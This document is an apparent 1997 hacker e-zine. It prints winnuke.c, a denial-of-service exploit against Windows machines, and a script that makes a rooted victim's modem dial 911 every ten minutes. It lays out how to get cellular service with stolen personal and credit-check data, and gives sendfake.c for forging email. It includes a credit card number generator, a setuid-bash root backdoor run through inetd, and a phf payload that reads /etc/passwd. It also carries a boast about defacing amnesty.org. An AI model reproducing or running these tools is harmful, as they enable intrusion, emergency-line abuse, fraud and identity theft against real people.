NT / 95 Killer : winnuke.c : _eci 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� /* winnuke.c - (05/07/97) By _eci */ /* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */ #include #include #include #include #include #include #include #define dport 139 /* Attack port: 139 is what we want */ int x, s; char *str = "Bye"; /* Makes no diff */ struct sockaddr_in addr, spoofedaddr; struct hostent *host; int open_sock(int sock, char *server, int port) { struct sockaddr_in blah; struct hostent *he; bzero((char *)&blah,sizeof(blah)); blah.sin_family=AF_INET; blah.sin_addr.s_addr=inet_addr(server); blah.sin_port=htons(port); if ((he = gethostbyname(server)) != NULL) { bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length); } else { if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) { perror("gethostbyname()"); return(-3); } } if (connect(sock,(struct sockaddr *)&blah,16)==-1) { perror("connect()"); close(sock); return(-4); } printf("Connected to [%s:%d].\n",server,port); return; } void main(int argc, char *argv[]) { if (argc != 2) { printf("Usage: %s \n",argv[0]); exit(0); } if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket()"); exit(-1); } open_sock(s,argv[1],dport); printf("Sending crash... "); send(s,str,strlen(str),MSG_OOB); usleep(100000); printf("Done!\n"); close(s); } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ FONES / SCANNING ]=========[ .SECTION C. ]===========[ FONES / SCANNING ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. Federal Bugging Frequencies : Weapon-X 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Commonly Used by Federal Agencies for Bugs, Wireless Microphones, and Body Wires (also 138-220 mhz, and 399-420 mhz, under 25-50 mw). 149.3500, 165.9125, 167.3375, 167.3425, 167.4875, 168.0115, 169.2000, 169.4450, 169.5050, 170.2450, 170.3050, 171.0450, 171.1050, 171.4500, 171.6000, 171.7500, 171.8450, 171.8500, 171.9050, 172.0000, 172.2000, 172.2125, 172.2375, 172.2625, 172.2875, 172.3125, 172.3375, 172.3625, 172.3875, 172.5500 173.3375 169.445, 169.505, 170.245, 170.305, 171.045, 171.105, 171.845, 171.905 27.5750 Customs Low Power < 5 watts 27.5850 Customs Low Power < 5 watts 163.1000 Customs Low Power < 30 watts 418.5750 Customs Low Power < 30 watts 40.1200 Federal Shared Mobile Locator Tranmitters "Bumper Beepers" 40.1700 Federal Shared Mobile Locator Tranmitters "Bumper Beepers" 40.2200 Federal Shared Mobile Locator Tranmitters "Bumper Beepers" 40.2700 Federal Shared Mobile Locator Tranmitters "Bumper Beepers" 164.9125 FBI Surveillance 165.9125 ATF F5 Surveillance 166.2875 ATF 170.4125 ATF 407.8000 Secret Service 406.2750 Secret Service 408.5000 Secret Service 408.9750 Secret Service 172.2000 DOJ/DEA CH.1 171.6000 DOJ/DEA CH.2 418.0500 DEA Low Power 418.0750 DEA Low Power 418.5750 DEA Low Power 418.7500 DEA 418.6750 DEA 418.9000 DEA F2 CINDY (416.325) Surveillance 418.7500 DEA F3 GAIL Surveillance/Strike Force 418.6750 DEA F4 EMILY (416.325) Surveillance 407.8000 CIA, State Department 408.0500 Federal Shared 408.5750 Federal Shared 409.4000 Federal Shared 960-1215mhz Spread Spectrum Systems (Wideband) Generally Recognized Federal Bug/Spy Bands Primary - 25-50mhz, 135-175mhz, 225-440mhz, 1710-1950mhz, 8.3-12.5ghz Secondary - 890mhz-5.50ghz, 7.0-9.5ghz, 10-39.6ghz Also, Wide Band Frequency Hopping centered on various UHF-TV channels (ie: 510 or 670 mhz with a hopping width of +/- 25 mhz) Keep in mind that the federal government can use virtually any frequency between DC and light. So get scanning now!! 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. 911 Autodialler Script : dk 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Okay, scenario... Your Friend g1mpfuck is on his linux system, you have never really liked him, and he has gone out to someplave for a few hours, to be back this evening... If you root his system, and run this, his modem will dial 911 every 10 mins, but as soon as you do run it, it will kill the pppd and dial the number, so if he's on IRC, then he will quit... Here it is! Read the instructions in the code first... #!/bin/sh # 911-autodial.sh # # for use with linux boxes running DIP. # dials 911 every ten minutes, and if the user is using pppd # it kills pppd in order to place the call. # IMPORTANT!!! # add this line to root's crontab with: crontab -e root # 2,12,22,32,42,52 * * * * /path/to/911-autodial.sh # note: this assumes the modem device is: /dev/modem # if it is otherwise change "port modem" to # "port cua1" or whatever the modem device is # although it is usally /dev/modem. echo " get $local 0.0.0.0" >> /tmp/911.dip echo " get $remote 0.0.0.0" >> /tmp/911.dip echo " port modem" >> /tmp/911.dip echo " speed 38400" >> /tmp/911.dip echo " reset" >> /tmp/911.dip echo " send ATQ0V1E1X4\r" >> /tmp/911.dip echo " wait OK 2" >> /tmp/911.dip echo " dial 911" >> /tmp/911.dip ps -aux|grep pppd|grep -v grep >> /tmp/ppp-check grep "^root" /tmp/ppp-check > /dev/null 2>&1 if [ $? -ne 0 ] ; then echo "PPP IS DEAD" > /tmp/ppp-dead fi if [ -f /tmp/ppp-dead ]; then /sbin/dip /tmp/911 rm /tmp/ppp-* rm /tmp/911.dip exit 1 fi kill `ps -ax|grep pppd|grep -v grep|awk 'BEGIN {FS=" ";OFS=" "} {print $1}` /sbin/dip /tmp/911 rm /tmp/ppp-* rm /tmp/911.dip exit 1 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 3. Cellular Calls Without Cloning : TRON 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� There are several ways to make free calls with a cellular phone that does not have service with the hassle of cloning it, or if you have a phone that can't be cloned or you don't want to buy the expensive equipment required, so here are a few ways to do it from home with little risk... 1.) American Roaming Network. ----------------------------- To reach the American Roaming Network (or something like it, depending on where you are), put your phone on the alternate carrier side so it says roam, then dial 0 and it should tell you your call is being forwarded. At that point you should be connected to an automated system, form here you have a couple of billing options... To use a credit or calling card, you enter the area code and number you want to call; for a calling card you then enter the card number and pin, for a credit card you then enter the card number and expirarion date, then the zip code of the billing address. ARN takes MasterCard, American Express, and most local and long distance company calling cards. They say they dont take VISA anymore, but I've gotten them to work on the automated system. If the number you call is busy or doesn't answer, you can press * and then either leave a message that the system will deliver, or try another number. If you want to dial another number you will have to put the zip code again after the new number. You can also make collect and 3rd party billed calls by dialing 0 instead of the number to call when you connect to ARN. You will be sent to an operator, tell them you would like to place a call. They will then ask how you would like to bill it. You can set up a local dialup voice mail box and change the greeting so it sounds like someone's there to accept the charges, the operator has to read a script, so you have to adjust the timing to get it just right. ARN will not 3rd party or collect bill to 800 numbers, nor will they place calls to 800 numbers charged to 3rd party numbers. 2.) Social Engineering. ----------------------- Another way is to dial 611 and tell the customer support person that you're having trouble getting through to the area you're trying yo call and could they try place the call for you. This works about 50% of the time, it helps to have the name and cell number of someone who has service with that provider in case they ask for it, they might ask for the social security number too, so be prepared, dumpster diving at a cell store is the easiest place to get that info. 3.) Set Up Service With Someone Else's Info. -------------------------------------------- The best way, and the one I prefer to cloning, is to get someone else's information and set up service. The best place to get the information you'll need is from a place that does credit checks, like a bank or car dealership. Make sure they have a good rating, like A, B or C, then you wont be asked for a deposit. You'll need a name, address, social security number, drivers license number and work number. You will also need a cell phone that is not stolen. They will not activate a stolen phone, when I tried they put me on hold and called the person who's phone I had and then told me the person wanted me to mail the phone back to them. Also find and write down the electronic serial number, you'll need that too. You then need to call a local cell service provider (ie. GTE MobilNet, Cellular One, Bell South Mobility, etc.) on a phone you have. Let them tell you about the different service plans and pick one. They will then ask for your "information" and ESN. Then they will ask to call you back with your new cell number, tell them that you're out and ask for a number to call them back at, they will have no problem with this. Then call them back and they will tell you how to program your new number into your phone, they might also tell you how to program in a new system ID and pagin channel etc, this is no big deal. Also ask when the billing cycle ends and when the bill is sent out, you will want to stop using this number when the person you're billing it to gets their bill. Be sure to get call features like 3-way and call forwarding, they're always useful to have. I prefer this to cloning because its less worry and hassle and it lasts up to a month. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ MISC ]=====================[ .SECTION D. ]=======================[ MISC ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. Getting Your Exploits Onto Systems : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� You want to get files or exploits onto another system, you can do this the following few ways... 1) Mail The User The File. -------------------------- This method is simple, easy to do, pretty undetectable, but sometimes may be a touch too slow, depending on the location / speed of the system...just mail login@host.com the file or whatever, then wait at the other side for them to get it. 2) FTP to the system. ---------------------- Using an FTP client, you can FTP to the remote server from your system, then upload the files to the server, but you will most probably get logged, and so if your exploits fail, this may not be such a good idea... 3) Use cat to input the file from the terminal. ----------------------------------------------- This is easy to do, pretty quick and effective, follow these steps... FearFactory:~:$ cat > heh.c << STOP #include main() { printf("Quit Laughin' At Yerself Yew Gimp :P\n"): } STOP FearFactory:~:$ cat heh.c #include main() { printf("Quit Laughin' At Yerself Yew Gimp :P\n"): } FearFactory:~:$ cc -o heh heh.c FearFactory:~:$ heh Quit Laughin' At Yerself Yew Gimp :P FearFactory:~:$ I used "cat > filename.c << STOP" to input the file from the terminal, I could have cut a file from another editor, then just pasted it to the terminal, then when I type "STOP" and hit enter, cat stops taking input from the terminal and EOF's the file...Then I cat it again, to prove that the STOP does not stay as part of the file, then I proceed to compile the source using cc and then I run the program, easy =) Always remember to remove traces of exploits from the system if you fail, as this is messy and could lead to the admin becoming suspicious, just keep your technique clean, and you will learn some good skills... Recommended Reading : --------------------- LINUX IN A NUTSHELL - A Desktop Quick Reference By Jessica Perry Hekman Copyright 1997 O'Reilly & Associates ISBN 1-56592-167-4 UK : �14.99 US : $19.95 CAN : $28.95 I really like this book, its very easy to use, pretty compact, and 424 pages long, the information in it will boost your skills by a long way if you are a newbie, and there are alot of more advanced features, such as debugfs and many other programs and their syntax. Basically its a dictionary of Linux commands, along with a short explanation, the syntax for the command and many examples, I have the first printing, which is January 1997, so this book is not old at all, and pretty up-to-date... 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. Fakemailing Techniques : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Fakemailing is old and very very easy to do. To use this simple fakemailing program just make a file, such as letter.txt with the stuff you want to send in it, like "Hey Bill! how's it going?" or whatever. Next compile the fakemail.c using gcc -o sendfake sendfake.c ignore any warning messages. Run the program using "sendfake" and follow the steps, simple as that =) /**********************************************************/ /* SENDFAKE.C */ /* */ /* */ /* Author: asm@quantum.syspac.com */ /* */ /* To compile: gcc -o sendfake sendfake.c */ /* Usage : sendfake */ /* */ /**********************************************************/ #include #include #include #include #include #include #include #include #define MAXLEN 256 int s; int call_socket(char *hostname) { struct sockaddr_in sa; struct hostent *hp; int a, s; if ((hp=gethostbyname(hostname))==NULL) return(-1); bzero(&sa, sizeof(sa)); bcopy(hp->h_addr, (char *)&sa.sin_addr, hp->h_length); sa.sin_family = hp->h_addrtype; sa.sin_port = htons((u_short)25); if((s=socket(hp->h_addrtype, SOCK_STREAM, 0)) < 0) return(-1); if(connect(s, &sa, sizeof(sa)) < 0) { close(s); return(-1); } return(s); } int readln(char *buf) { int to=0; char c; do { if(read(s, &c, 1)<1) return(0); if((c >= ' ') || (c <= 126)) if(to",from); writeln(str); readln(buf); do { input("Send fake mail TO",to); sprintf(str, "RCPT TO: <%s>",to); writeln(str); readln(buf); *(buf+3) = 0; if(atoi(buf) == 250) break; else printf("%s",buf+4); } while(1); input("Name of lamer getting the fake mail",name); input("Subject of fake mail",subject); writeln("DATA"); sprintf(str,"To: %s <%s>",name,to); writeln(str); if(strlen(subject)) { sprintf(str, "Subject: %s", subject); writeln(str); } do { input("File to read and include in fake mail",str); if(!strlen(str)) { close(s); exit(1); } if((fp = fopen(str,"rt")) == NULL) printf("Could not find file %s\n", str); else break; } while(1); while(fgets(str,MAXLEN,fp)) write(s, str, strlen(str)); writeln("\n.\n"); readln(buf); writeln("QUIT\n"); printf("Sent!!!\n"); close(s); } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 3. Pascal Credit Card Generator Source : Lobster Guacamole 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� PROGRAM ccnum; { Written by Lobster Guacamole. } { } { I wrote this program because I enjoy fucking over every goddam bureacratic } { and/or facist aspect of our society. This program simply spits out ten } { random credit card numbers based on the bank prefix used. See lines 58 } { through 61 for information on the bank prefix used. There is also a lame } { password feature for minor security. See lines 42 through 50 for } { information on the password feature. } { } { Remember, however, the numbers that are spit out may not work because } { the credit card company may not have assigned that number to a customer } { yet. Have fun! } { } { You can use a simple program like pas2c to translate this code into c } { - Tetsu Khan } USES Crt; VAR ccnum_count : Integer; PROCEDURE program_init; BEGIN Randomize; CheckBreak := False; END; PROCEDURE show_title; BEGIN ClrScr; Writeln; Writeln( 'CCNUM - Credit Card Number Generator.' ); Writeln( 'Written by Lobster Guacamole.' ); Writeln; END; PROCEDURE get_pwd; VAR program_pwd : String; BEGIN Writeln; Write( 'Enter password>' ); Readln( program_pwd ); IF program_pwd = 'a' THEN { The current password is a lower case } BEGIN { letter 'a'. Recompile the program if } Writeln; { you change the password, of course. } Writeln( 'Correct' ); { Change password on line 47 as well. } Writeln; END; IF program_pwd <> 'a' THEN { If you changed the password on line 40, } BEGIN { change it here, too. } Writeln; Writeln( 'Incorrect' ); Halt; END; END; PROCEDURE make_ccnum; VAR ccnum_digits : ARRAY[ 1..16 ] OF Integer; doub_odd_digits : ARRAY[ 1..8 ] OF Integer; digit_count : Integer; yn_choice : Char; added_digits : Integer; BEGIN ccnum_digits[1] := 5; { This part may have to be changed depending } ccnum_digits[2] := 4; { on the bank prefix used. The bank prefix } ccnum_digits[3] := 2; { here is '5424', the prefix for Citibank. } ccnum_digits[4] := 4; { Recompile the program if you change it. } REPEAT FOR digit_count := 5 TO 16 DO BEGIN ccnum_digits[ digit_count ] := Random(10); END; doub_odd_digits[1] := 2 * ccnum_digits[1]; IF doub_odd_digits[1] > 9 THEN doub_odd_digits[1] := doub_odd_digits[1] - 9; doub_odd_digits[2] := 2 * ccnum_digits[3]; IF doub_odd_digits[2] > 9 THEN doub_odd_digits[2] := doub_odd_digits[2] - 9; doub_odd_digits[3] := 2 * ccnum_digits[5]; IF doub_odd_digits[3] > 9 THEN doub_odd_digits[3] := doub_odd_digits[3] - 9; doub_odd_digits[4] := 2 * ccnum_digits[7]; IF doub_odd_digits[4] > 9 THEN doub_odd_digits[4] := doub_odd_digits[4] - 9; doub_odd_digits[5] := 2 * ccnum_digits[9]; IF doub_odd_digits[5] > 9 THEN doub_odd_digits[5] := doub_odd_digits[5] - 9; doub_odd_digits[6] := 2 * ccnum_digits[11]; IF doub_odd_digits[6] > 9 THEN doub_odd_digits[6] := doub_odd_digits[6] - 9; doub_odd_digits[7] := 2 * ccnum_digits[13]; IF doub_odd_digits[7] > 9 THEN doub_odd_digits[7] := doub_odd_digits[7] - 9; doub_odd_digits[8] := 2 * ccnum_digits[15]; IF doub_odd_digits[8] > 9 THEN doub_odd_digits[8] := doub_odd_digits[8] - 9; added_digits := doub_odd_digits[1] + doub_odd_digits[2] + doub_odd_digits[3] + doub_odd_digits[4] + doub_odd_digits[5] + doub_odd_digits[6] + doub_odd_digits[7] + doub_odd_digits[8] + ccnum_digits[2] + ccnum_digits[4] + ccnum_digits[6] + ccnum_digits[8] + ccnum_digits[10] + ccnum_digits[12] + ccnum_digits[14] + ccnum_digits[16]; UNTIL added_digits MOD 10 = 0; Writeln( ' ', ccnum_digits[1], ccnum_digits[2], ccnum_digits[3], ccnum_digits[4], ' ', ccnum_digits[5], ccnum_digits[6], ccnum_digits[7], ccnum_digits[8], ' ', ccnum_digits[9], ccnum_digits[10], ccnum_digits[11], ccnum_digits[12], ' ', ccnum_digits[13], ccnum_digits[14], ccnum_digits[15], ccnum_digits[16] ); END; BEGIN program_init; show_title; get_pwd; FOR ccnum_count := 1 TO 10 DO make_ccnum; END. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 4. in.courierd : backdoor on port 530 : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� As root do the following (without the %'s ;]) to setup the backdoor. -------------------------------------------------------------------- [This Method Has Been Tested On A Linux 2.0.30] % cp /bin/bash /usr/sbin/in.courierd % chmod 4755 /usr/sbin/in.courierd [optional, depends on system] % echo "courier stream tcp nowait root /usr/sbin/in.courierd" >> /etc/inetd.conf % /sbin/pidof inetd.conf [to find the pid of inetd.conf] % kill -HUP [replace the with the real pid] % telnet localhost 530 [test backdoor] All commands to the backdoor must end with ;, for example.... exit; ps -a; whoami; cd /; You are root when you use the backdoor, and you are not seen or logged. The last time I used this, it stayed up for 2 weeks =) The above commands I have tested in Linux, I have heard that you have to reboot a Sun for the new settings to take effect (shutdown -r now). But hey! its only a prototype at the moment until I make it cool and alot better =) Have fun. so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 5. UK Laws On Computer Misuse : Darkfool 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� This part is actually useful info, not like Darkfools lesser works...Partially edited by me, the original can be now found at www.sinnerz.com/bible.htm - T_K Hey, this is an interesting little read. Please note it still can be quite interesting even if you don't like in UK - Darkfool. The 1990 Computer Misuse Act - UK --------------------------------- In plain English. ----------------- "An Act to make provision for securing computer material against unauthorised access or modification; and for connected purposes" { This is the long title (header) of the Act and confirms what the act does and applies to. } SECTION 1 Unauthorised access to computer material -------------------------------------------------- TEXT: A person is guilty of an offence if he causes a computer to perform any function with intent to secure access to any program or data held in any computer. { This means that if you can get access to files which you shouldn't be allowed to retrieve or read then you are committing a offence, this only applies if the person in question has intent ( meaning they are doing it on purpose, often referred to as hacking ) to carry this out. } A person is guilty of an Offence if the access he intends to secure is unauthorised; and he knows at the time when he causes the computer to perform the function that that is the case. { This means that the person is guilty doesn't have authorisation to secure access to files then he is committing an offence. The person is not guilty if he/she doesn't know what they are trying to perform. This applies to everything i.e. any program, a program or data of any particular kind and a program or data held } A person guilty of an offence under this section shall be liable on summary conviction to imprisonment for a term not exceeding six months or to a fine not exceeding level 5 on the standard scale or to both. { Meaning, you could go to prison for 6 months for committing an offence mentioned above ! You could also be subject to a fine @ level 5, which is always changing. You have to be convicted of the crime first though ;) } SECTION 2 Unauthorised access with intent to commit or facilitate ----------------------------------------------------------------- commission of further offences ------------------------------ A person is guilty of an offence under this section if he commits an offence under section 1 above. To commit an offence to which this section applies or to facilitate the commission of such an offence ( whether by himself or by any other person) and the offence he intends to commit or facilitate is referred to below in this section as the further offence. { This meaning that what is mentioned in section 2 applies to the person gaining unauthorised access to a computer system and to anyone who facilitates such a person } This section applies to offences for which a person of twenty-one years of age or over ( not previously convicted ) may be sentenced to imprisonment for a term of five years. { This means that if you re-offend or facilitate to re-offend and have been convicted you are liable to 5 years imprisonment or/and a large fine } SECTION 3 Unauthorised modification of computer material -------------------------------------------------------- A person is guilty of an offence if he/she does any act that causes an unauthorised modification of the contents of any computer; and at the time when he does the act he has the requisite intent and the requisite knowledge. { This means that if a person modifies computer material which he/she is not authorised to do he/she is guilty of committing an offence, however, the person must have the intent to carry out this crime else the person is not liable } { This next bit is the interesting bit } For the purposes of the above section the requisite knowledge is an intent to cause a modification of the contents of any computer and by so doing to impair the operation of any computer; to prevent or hinder access to any program or data held in any computer; to impair the operation of any such program or the reliability of any such data. The intent need not be directed at any particular computer; any particular program or data or a program or data of any particular kind; or any particular modification. { This basically means, if you have the intent and knowledge of breaking into computers, without have to actually do it you can be liable to an offence. } For the purposes of the Criminal Damage Act 1971 a modification of the contents of a computer shall not be regarded as damaging any computer or computer storage medium unless its effect on that computer storage medium, impairs its physical condition. { Meaning that you cannot be prosecuted for criminal damage whilst hacking into a machine unless you cause physical damage i.e. on site hacking, then taking a sledge hammer to the computer can be classed as criminal damage but change the password for root login is not criminal damage, unless you send the computer into high speed self destruct mode and ruin one of the heads on the 50 gig duke box ? } { A lot of the next part of the document is about jurisdiction and some technical mumbo jumbo } SECTION 14 Search warrants for offences under section 1 ------------------------------------------------------- Where a circuit judge is satisfied by information on oath given by a constable that there are reasonable grounds for believing that an offence under section 1 above has been or is about to be committed in any premises; and that evidence that such an offence has been or is about to be committed is in those premises he/she may issue a warrant authorising a constable to enter and search the premises, using such reasonable force as is necessary. { This basically means that if they believe that you have the intent or have broken into a system your not supposed to ( section 1 ) they can come around your house and knock your door in, or, open it for them nicely. } SECTION 15 Extradition where Schedule 1 to the Extradition Act 1989 applies --------------------------------------------------------------------------- The offences to which an order in council under section 2 of the extradition act 1870 can apply shall include offences under sections 2 and 3 and any conspiracy to commit such an offence and any attempt to commit an offence under section 3. { This meaning, that if you have a conspiracy to break into a system you can be extradited } In the UK it can be illegal to posses anything which may show an intent to hack, such as hacking documents. So, if your out there and in UK and didn't know that you were doing is most probably illegal then keep your head down ! 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 6. so1o Gets Busted By CERT : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� I've been busted by CERT?!@# umm, okay...whatever you say Hostile you fucken pussy! and a cl000less one at that!@# Speadin' shit about stuff you dont know : [20:57] dude!! wassup? [20:59] so1o got busted by CERT! lol [21:00] yup [21:00] they have logs of him on over 80 computers [21:01] thats all i know is like what i just got forwarded to me [21:03] they got logs from when he used phfscan.c [21:03] and other shit any more info on so1o shit ? [21:06] l [21:06] Dear Sir. [21:06] We have now traced down the responsible account behind this attempt and=20 [21:06] have taken action against it. [21:06] If you would like to know who is behond this you should either file a=20 [21:06] report to the propper authoroties or fax pege Gustagsson at +++ 46 8=20 [21:06] 7132657 and ask him to trace this down in the phone network. [21:06] If you got any more question feel free to get back to me.. or if you=20 [21:06] think that this is to be considered as closed. [21:06] check this now [21:06] __ ____ Telia Internet=20 [21:06] / /_/ / Incident Response Team [21:06] / / \ / IRT@TELIA.NET [21:06] =09 FAX ++46 - 8 456 8935=20 [21:06] On Fri, 2 May 1997, m0dify wrote: [21:06] > That is the log from our www.usda.gov web server.... CERT also said that [21:06] > this log is on 80 computers since 4/1/97 . There was also a log on [21:06] > the 17th of April. =20 [21:07] > > Dear Sir. [21:08] > > This messages dropped down on my desk today. [21:08] > > I need a time to know who was on that dial up and so whe could hunt [21:08] > > him/her down in the phone network.. [21:08] heh... so1o fuct up it seems.. he's toast. [21:10] im glad to man... amnesty was just so uncool when he did that h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0!@# h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0!@# h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0!@# h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0!@# h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0!@# h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0!@# h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0!@# h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0!@# h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0!@# h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0h0!@# I've seen one of those logs that Modify had (now CERT have them too) and, I'm sooooo dissapointed to say... -I- -D-I-D-N-'-T -P-H-F- -T-H-O-S-E- S-I-T-E-S- Let us look at the facts...Those that Hostile and his little lameassfuck sIn wannabe haqr posse didn't even see : ------------------------------------------------------------------------------- THE FACTS : ------------------------------------------------------------------------------- CERT logs show that the phf queries to approximatley 80 sites on the same day that the www.amnesty.org page was changed show that this technique was used..which is fundementally incorrect, here is the phf query string found in the logs, the fact that this was on the same day as amnesty is the ONLY factor linking me to these events : GET /cgi-bin/phf?qalias=X%0Acat%20/etc/passwd (I think there's also a "3D" somewhere in there too..) And here is the phf query code set down by every text I have ever read AND in phfscan.c which I would use if I ever wanted to scan such sites for the phf hole : GET /cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd I think we can all see a slight difference, which basically says "IT'S NOT MY FUCKING STYLE! ONLY A LUNA-FUCKING-TICK would even think about using that technique. Seeing it probably wouldn't work anyway." The next point is the IP from where the queries originate, it is *.telia.com which I have been told is a SWEDISH ISP now, do I live in Sweden? NO!! Do I have any shells at dynamic IP's IN SWEDEN? NO!! There is no plausible way I could have run such a scan. Unless I dial long distance, which isn't gonna happen. One last point, I knew that we "0wned" amnesty.org from about 2 weeks before we actually decided to change the index.html, because when my friends broke in the first time, they had set up a .rhosts file and a suid root shell in something like /tmp/.... But when they left the system and tried to regain access, they found that the admin had removed the account or changed the login and pass, so we decided to leave the site for about a week and a half, until we started to try and formulate a way to get back in, in this period we did NO phf scanning whatsoever. And on the weekend when we did get back in, using an ingenious method that I was never told about, by a new hacker to our team, modeX, we decided to at least do something to prove we had regained access, so I designed a new index.html, to which the team uploaded. That was all that happened, and therefore the phf scans can IN NO WAY be related to the amnesty.org attack as we owned that system A LONG TIME before, and it was only a matter of regaining access, one last point being that we didn't walk through the amnesty "front door" as it were, as I was told we stumbled over a trusted host, shell.oil.ca or something like that. Anyway, thats just a few points I would like to raise in proving that sIn are again VERY CL000LESS fucks who know absolutely NOTHING about hacking or "the scene" in any way shape or form...And as for the Incident Response Team, they are most probably looking for some lamefuck Swedish haqr. Any-Fucking-Way, what the fuck they gonna do when they find this haqr?!@ arrest him for phf'ing 80 sites? h0h0h0, I wouldn't call that much of a bust :) "Listen sonny! you're gonna get 10 years for connecting to port 80 and typing "GET /cgi-bin/phf? Qalias=x%0a/bin/cat%20/etc/passwd" becuase thats not against ANY law and CERT owns us all. so1o. There are alot of missing pieces, and alot of the data I base my argument on originated from m0dify (see the letter to IRT@TELIA.NET earlier) so I think I have more of an idea than Hostile the cl00less lame gimpfuck wannabe haqr. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 7. CERT Advisory CA-97.13 : xlock vunerablity : Taken From Bugtraq 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Topic: Vulnerability in xlock ------------------------------------------------------------------------------- The CERT Coordination Center has received reports that a buffer overflow condition exists in some implementations of xlock. This vulnerability makes it possible for local users (users with access to an account on the system) to execute arbitrary programs as a privileged user. Exploitation information involving this vulnerability has been made publicly available. If your system is vulnerable, the CERT/CC team recommends installing a patch from your vendor. If you are not certain whether your system is vulnerable or if you know that your system is vulnerable and you cannot add a patch immediately, we urge you to apply the workaround described in Section III.B. We will update this advisory as we receive additional information. Please check our advisory files regularly for updates that relate to your site. ------------------------------------------------------------------------------- I. Description xlock is a program that allows a user to "lock" an X terminal. A buffer overflow condition exists in some implementations of xlock. It is possible attain unauthorized access to a system by engineering a particular environment and calling a vulnerable version of xlock that has setuid or setgid bits set. Information about vulnerable versions must be obtained from vendors. Some vendor information can be found in 